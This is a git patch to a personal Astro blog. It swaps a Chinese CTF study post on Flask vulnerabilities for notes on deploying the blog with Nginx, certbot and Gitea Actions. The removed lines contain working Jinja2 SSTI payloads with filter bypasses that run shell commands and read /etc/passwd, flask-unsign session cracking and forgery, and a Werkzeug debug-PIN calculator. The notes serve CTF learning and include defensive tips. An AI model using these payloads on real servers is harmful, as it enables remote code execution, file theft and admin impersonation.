From 6837a10f470b61bfa803bcd37a849e133953ee60 Mon Sep 17 00:00:00 2001 From: Marvin-March <2199363809@qq.com> Date: Wed, 22 Apr 2026 16:58:59 +0800 Subject: [PATCH] upload something new --- src/content/blog/markdown-style-guide.md | 381 ++++++++++------------- src/pages/index.astro | 2 +- 2 files changed, 157 insertions(+), 226 deletions(-) diff --git a/src/content/blog/markdown-style-guide.md b/src/content/blog/markdown-style-guide.md index 87badf4..b7aaca1 100644 --- a/src/content/blog/markdown-style-guide.md +++ b/src/content/blog/markdown-style-guide.md @@ -1,246 +1,177 @@ --- -title: 'Python 漏洞初阶' -description: 'Here is a sample of some basic python 漏洞' -pubDate: 'Apr 13 2026' -heroImage: '../../assets/boy.jpg' +title: '部署了人生中第一个博客' +description: 'Astro 博客部署' +pubDate: 'Apr 22 2026' +heroImage: '../../assets/BladeRunner.png' --- -# SSTI +## 在真正部署前我干了啥😫(可以不看) -## flask框架中的ssti -[flask框架漏洞](https://blog.csdn.net/weixin_44190459/article/details/116774912) - -[Python 正则表达式 | 菜鸟教程](https://www.runoob.com/python/python-reg-expressions.html) -[Python 面向对象 | 菜鸟教程](https://www.runoob.com/python/python-object.html) +>由于本人急切想实现外网访问,且不知为何偏好Apache,于是很早之前就把本地项目以下载的形式放在了服务器上,而不是git push。且gitea仓库里也是zip文件😫,还写了如下文字。千万不要这样。 ->SSTI(Server-Side Template Injection) 服务端模板注入 ,服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分渲染,可能导致敏感信息泄露、代码执行、GetShell 等。 - -如何避免: - 1. 不要使用`f-string`拼接模板,`render_template_string`,如 - `render_template_string(f"Hello {name}")` - 安全的写法:`render_template('index.html',name=name)` - 2. 只把用户输入当变量传,而不是模板代码;如果必须动态渲染,一定要严格过滤`{{}} {% %} {# #}`等 - -利用方式: - 获取到基类 object,重点关注 os/file 这些关键字。如`{{("".__class__.__base__.__subclasses__())}}`查看所有子类,再用脚本寻找可以利用的类: -```python -import re - -data=r'''[, ]''' - -useful_class=['linecache', 'os._wrap_close', 'subprocess.Popen', -'warnings.catch_warnings', '_frozen_importlib._ModuleLock', -'_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', -'_frozen_importlib.ModuleSpec'] - -pattern=re.compile(r"'(.*?)'") - -class_list=pattern.findall(data) -for i in class_list: - for j in useful_class: - if j in i: - print(str(class_list.index(i))+":"+i) -``` - -但是有的题目不会显示subclasses,这是需要我们直接输入小脚本,观察页面回显,如 -```python -{% for x in ().__class__.__base__.__subclasses__() %} - {% if "warning" in x.__name__ %} - {{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}} - {%endif%} -{%endfor%} -``` - -获取到有用的类的下标后,我们可以进行: -#### 命令执行 -```python -{{().__class__.__bases__[0].__subclasses__()[160].__init__.__globals__['popen']('ls').read()}} -``` -可以先看这个类里面有什么`__globals__.keys()`,这里直接`__globals__['popen']`是因为发现__globals__下面没有os模块,如果有,可以`__globals__['os'].popen('ls').read()` - -```python -{{().__class__.__bases__[0].__subclasses__()[160].__init__.__globals__.__builtins__['eval']('__import__('os').popen('ls /').read()')}} - -``` -有些ctf题`ls`发现没有与flag相关的文件夹,flag可能在环境变量`env`里,即`__globals__['popen']('env').read()` -#### 文件读取 -```python -{{().__class__.__bases__[0].__subclasses__()[160].__init__.__globals__.__builtins__['open']('1.txt').read()}} -``` -发现无法打开.py文件? -### 绕过 -[linux命令绕过](https://blog.csdn.net/m0_67844671/article/details/133239381) -#### 关键字(空格,点号)过滤 - -```python -# +号拼接绕过,也用于点过滤 -{{ ""['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']() }} -``` - -```python -# 使用Jinjia2的~号拼接 -{% set a='__cl' %}{% set b='ass__' %}{% set c='__ba' %}{% set d='se__' %}{{()[a~b][c~d] }} -``` - 注意拼接时`()`要放在引号外面,`subclasses` 是方法,不是属性。方法必须加 () 调用,不能直接当键名查 - - ```python - # 使用过滤器reverse绕过 - {% set a='__ssalc__'|reverse %}{{ ()[a] }} - # 不带空格简洁 - {{''['__ssalc__'[::-1]]}} - ``` - -```python -# 使用 join 过滤器绕过,同时可以绕过引号过滤 -{% set a=dict(__cl=a,ass__=a)|join %}{{ ()[a] }} -``` -#### 符号过滤 - -```python -# {{和}}被过滤使用{%和%}绕过 -{% print(''.__class__) %} -``` -`{% %}`定义变量、循环、判断等逻辑操作,不输出 -```python -# 中括号过滤,魔术方法__getitem__可代替中括号 -.__subclasses__().__getitem__(13).__getitem__('popen') -``` - -```python -# 过滤点[] -{{()|attr('__class__')|attr('__base__')}} -``` - -```python -# 下划线被过滤,可以使用过滤器输入下划线,如使用函数attr() -{{()|attr(request.form.p1)|attr(request.form.p2)}} -# 同时post传参p1=__class__&p2=__base__ - -#也可以将下划线16进制编码 -{{()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']}} -``` - -```python -# 单双引号被过滤可get/post传参 -#get传参 ?p1=popen&p2=cat /flag -{{.__globals__[request.args.p1](request.args.p2).read()}} -``` - -```python -# 数字被过滤,a=5*5+1=26 -{% set a='aaaaa'|length*'aaaaa'|length+'a'|length %}{{().__class_.__base__.__subclasses__()[a]}} -``` - -获取特殊字符 -```python -{% set a=(lipsum|string|list) %}{{a[18]}} -``` - -![[Pasted image 20260405175857.png]] -### 工具 - -鸡肋?焚靖(fenjing)是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本,但咋没用? - -## flask session - -[Python Flask Session漏洞](https://blog.csdn.net/qq_46143339/article/details/155313682) -flask session 存储在客户端cookie中,且仅对session进行了签名。 -cookie结构 -```python -.base64(payload).base64(timestamp).base64(hmac-signature) -``` -### 流程示例 - -1. 找到cookie中的session值,用flask-unsign解密,得到类似于`{'is_admin': False}`的形式 +1. 把本地的Astro项目打包。根目录里输入 ```bash -flask-unsign --decode --cookie 'eyJpc19hZG1pbiI6ZmFsc2V9' +npm run build ``` -2. 找secret_key,方法很多,看题目 - - debug=True - - 在源码/配置文件里找 app.py config.py .env .git,可结合任意文件读取 - - 结合ssti `{{config.SECRET_KEY}}` - - [字典爆破](https://github.com/dw0rsec/rockyou.txt) - ```bash - flask-unsign --unsign --cookie 'eyJpc19hZG1pbiI6ZmFsc2V9' --wordlist rockyou.txt - ``` -3. 构造管理员session +会生成一个`dist`文件夹,即我们的博客成品 +2. 将一整个文件夹传到服务器`/var/www/blog`(用的apache)我这里绕了一点弯路,本来打算先将dist.zip传到gitea,再在服务器端下载,后来发现一种更简单的方式 + - 安装lrzsz(Linux下命令行文件传输工具,实现本地-服务器互传文件,但不能传文件夹,要打包) + ```bash + apt install lrzsz -y + cd /var/www/blog + rz #上传文件到服务器,会弹出窗口 + sz #下载 + ``` + - 解压 + ```bash + unzip -o dist.zip -d /var/www/blog/ #-o 覆盖已有文件 + ``` + 我还碰到了问题就是它传成了/var/www/blog/dist,使用`mv dist/* .`就可以解决了。 +3. 配置Apache ```bash -flask-unsign --sign --secret "weak_key" --cookie "{'is_admin': True}" +vim /etc/apache2/sites-available/000-default.conf +#改为 DocumentRoot /var/www/blog +systemctl restart apache2 +``` +4. 配置HTTPS + 用 Certbot 给 Apache 配置免费 Let's Encrypt 证书,一键开启 HTTPS:(还没有深入理解原理) +```bash +apt install certbot python3-certbot-apache -y +certbot --apache -d marvinhers.site ``` -### 防御 -用强随机密钥 -把`secret_key`写在**环境变量**或**配置文件**中 -生产环境关闭debug -```python -app.config.update( - SECRET_KEY = os.urandom(24), # 必须强随机 - SESSION_COOKIE_HTTPONLY = True, - SESSION_COOKIE_SECURE = True, # 强制HTTPS - SESSION_COOKIE_SAMESITE = 'Strict', -) -``` -## flask-debug模式的安全隐患 +并且由于之前在服务器docker里装了gitea,本人不知为何想实现自个网站可登gitea,由此配了子域名git.marvinhers.site,这会牵扯到后面的反向代理😅 -开发环境中设置`app.run(debug=True)`时,它提供了自动重载、详细的错误页面和交互式调试器等便利功能。 -在`debug`的环境下输入`PIN`码调用`python`的交互式`shell` +## 浅谈一下部署过程🤯 -> 但需要6个参数呃呃呃 -``` -1. username: 运行该Flask程序的用户名 /etc/passwd文件内 -2. modname: 模块名 flask.app -3. getattr(): app名,值为Flask -4. getattr(): Flask目录下的一个app.py的绝对路径,这个值可以在报错页面看到。但有个需注意,Python3是 app.py,Python2中是app.pyc。 报错页面回显(访问报错界面 输入不能识别的参数) str(uuid.getnode()): -5. MAC地址,读取这两个文件地址:/sys/class/net/eth0/address或者/sys/class/net/ens33/address -6. get_machine_id(): 系统id /etc/machine-id 或者docker环境id /proc/self/cgroup +成果🫠:[点击访问虽然没什么内容主页也没写好](https://marvinhers.site/about/) [配了个子域名](https://git.marvinhers.site) +>博客用TuF3i推荐的Astro框架(nodejs 开发构建),代码放在Gitea,Act runner 实现cicd,web服务器用的Nginx,https加了密的。 +### 配置Nginx + +>同为web服务器软件,它们都可以让别人通过网址访问服务器上的网站、接口、文件。但nginx轻量,占有内存少,并发能力强,在负载均衡和反向代理领域表现出众,处理静态资源也更👍 + +针对我这个博客,先不管主配置`/etc/nginx/nginx.conf`,因为它有`include /etc/nginx/sites-enabled/*;`所以主要是修改它的子配置 +在`sites-available`下增加了`blog`和`gitea`两个配置文件,gitea配的是反向代理,虽然这样意义不大,但也算是把学的知识运用一下... +```nginx +# 以gitea配置为例 +# 仅保留核心:80端口 + 子域名 + 反向代理 +server { + listen 80; + server_name git.marvinhers.site; + location / { + proxy_pass http://127.0.0.1:3000; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + } + } ``` -因为需要读取文件目录,就要找执行文件读取函数的模块子类,所以会搭配`ssti`注入,如获取mac地址 -```python -{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}} +```bash +# 软链接启用配置 +ln -s /etc/nginx/sites-available/blog /etc/nginx/sites-enabled/ +ln -s /etc/nginx/sites-available/gitea /etc/nginx/sites-enabled/ +# 测试配置无误 +nginx -t +nginx -s reload ``` -```python -import hashlib -from itertools import chain +#后续还要深入学习 +[Nginx 服务器安装及配置文件详解 | 菜鸟教程](https://www.runoob.com/w3cnote/nginx-install-and-config.html) +[反向代理](https://mp.weixin.qq.com/s?__biz=MzA5MTkyMTQ0NA==&mid=2247486136&idx=1&sn=fb7ca1c55e681bdb082d3796e9dbbe04&chksm=907447f3a703cee53b7067685c9d710f5f99946c9d09865099647edd061df7ebdbb010bc34fe&scene=178&cur_album_id=3920274935729356806&search_click_id=#rd) +(虽然学长的课还没听完) +预留`acme.sh` +先用certbot简单配一下吧,以后使用泛域名证书再改用acme.sh...... +所以后面就简单地... +```bash +certbot --nginx -d marvinhers.site -d git.marvinhers.site +``` -probably_public_bits = [ -'flaskweb' # 1.username -'flask.app', # 2.modname -'Flask', # 3.appname -'/usr/local/lib/python3.7/site-packages/flask/app.py' # 4.moddir -] +这样讲起来怎么只有这么一点,鬼知道我弄了多久。 +### 在Gitea上实现CICD -private_bits = [ -'130771165565282', # 5.str(uuid.getnode()) -'1408f836b0ca514d796cbf8960e45fa1' # 6.machine-id -] +第一节课的时候接触了gitea 的 actions,配置了一些东西,当时确实挺懵的。 +再从头顺一遍吧 +#### 开启actions功能 - # py<=3.7 是 md5 ,3.8 以后是 sha1 -h = hashlib.md5() -for bit in chain(probably_public_bits, private_bits): - if not bit: - continue - if isinstance(bit, str): - bit = bit.encode('utf-8') - h.update(bit) -h.update(b'cookiesalt') +```bash +docker exec -it gitea bash +vim /data/gitea/conf/app.ini +# 添加以下然后退出容器 +# [actions] +# ENABLED=true +docker restart gitea +``` +#### 开启act runner -cookie_name = '__wzd' + h.hexdigest()[:20] +Act Runner是一个独立的小程序,它从 Gitea 那里领任务(比如“有人推送代码了,去执行 .gitea/workflows/deploy.yml 文件里的命令”),然后在服务器上执行这些命令。 +推荐是在docker里运行的,这里建议看官方文档是如何注册,挂载,运行。这里重点讲一下==挂载== +==挂载 volume 是实现 服务器 和 Act Runner容器 之间的文件互通== +```yml +# 这里展示一下 /root/runner/docker-compose.yml +# 关于令牌,建议参考官方文档 +services: + runner: + image: gitea/act_runner:nightly + environment: + CONFIG_FILE: /config.yaml + GITEA_INSTANCE_URL: "https://git.marvinhers.site" + GITEA_RUNNER_REGISTRATION_TOKEN: "{Token}" + GITEA_RUNNER_NAME: "marvin-blog-runner" + GITEA_RUNNER_LABELS: "ubuntu-latest,self-hosted" + volumes: + - ./config.yaml:/config.yaml + - ./data:/data + - /var/run/docker.sock:/var/run/docker.sock + - /var/www/blog:/var/www/blog +``` +==令牌(Token)==是一个注册认证,绑定runner到你的Gitea实例,连接gitea服务器,有不同级别,可复用,可重置。 +我是直接用了实例级别的,仓库级别获取好像出了点问题 +#后续再了解 +```bash +docker exec -u git -it gitea gitea actions generate-runner-token +``` +然后`docker compose down` `docker compose up -d` `docker ps` 就能看到在运行了! -num = None -if num is None: - h.update(b'pinsalt') - num = ('%09d' % int(h.hexdigest(), 16))[:9] - -rv = None -if rv is None: - for group_size in 5, 4, 3: - if len(num) % group_size == 0: - rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') - for x in range(0, len(num), group_size)) - break - else: - rv = num -print(rv) -``` \ No newline at end of file +#### 终于workflows +##### 讲几个笨得流黄汤的点(没按顺序): +- 同步到服务器 +```yml +- name: 同步到服务器 + uses: appleboy/scp-action@master + with: + host: ${{ secrets.SERVER_IP }} + username: ${{ secrets.SERVER_USER }} + port: ${{ secrets.SERVER_PORT }} + key: ${{ secrets.SERVER_SSH_KEY }} + source: "dist/" + target: "/var/www/blog/" + overwrite: true + strip_components: 1 + # 1.那一大堆变量这些都是和服务器相关的,尤其ssh_key是在服务器上生成的,我记得我之前填的是在本地生成的。 + # 2.source 的值和 strip_components 扯上关系。后者让前者剥离dist目录 +``` +生成密钥的bash +#后续了解 +```bash +cd ~/.ssh +ssh-keygen -t rsa -f id_rsa -N "" +cat id_rsa.pub >> authorized_keys +chmod 600 authorized_keys +chmod 700 ~/.ssh +``` + +- ==git==相关,与我自个有关。 +由于之前笨得流黄汤,把zip传到了gitea... +然后还有对git命令还不太熟悉...这没啥好说的,肯定是要掌握的东西。💪 +#后续还要深入学习 +```bash +# 然后简单触发一下工作流 +git add . +git commit -m "fix: some mistakes" +git push -u origin main +``` +然后其实是碰上各种各样的问题的,包括一些`.gitignore`的书写导致上传巨慢,HTTP 413报错(上传的代码包体积超过了 Nginx 上限)后在Nignx配置的server块下添加`client_max_body_size 100M;`指令等等啊。 +## 浅浅总结 + +啊确实学到了很多,但是我的基础不太行,像什么docker,git以及文章中一些标签的地方还要深入学习。 +然后其实在部署的时候是一个逆向由深入浅的过程碰到问题--再解决,这很不顺,也很浪费时间,所以还是要打好基础🐷以后多多部署东西熟悉熟悉🐷 \ No newline at end of file diff --git a/src/pages/index.astro b/src/pages/index.astro index 23a2544..9285292 100644 --- a/src/pages/index.astro +++ b/src/pages/index.astro @@ -13,7 +13,7 @@ import { SITE_DESCRIPTION, SITE_TITLE } from '../consts';
-

Sorry,see me at About to learn more

+

太懒主页还没开发

Welcome to the official Astro blog starter template. This template serves as a lightweight, minimally-styled starting point for anyone looking to build a personal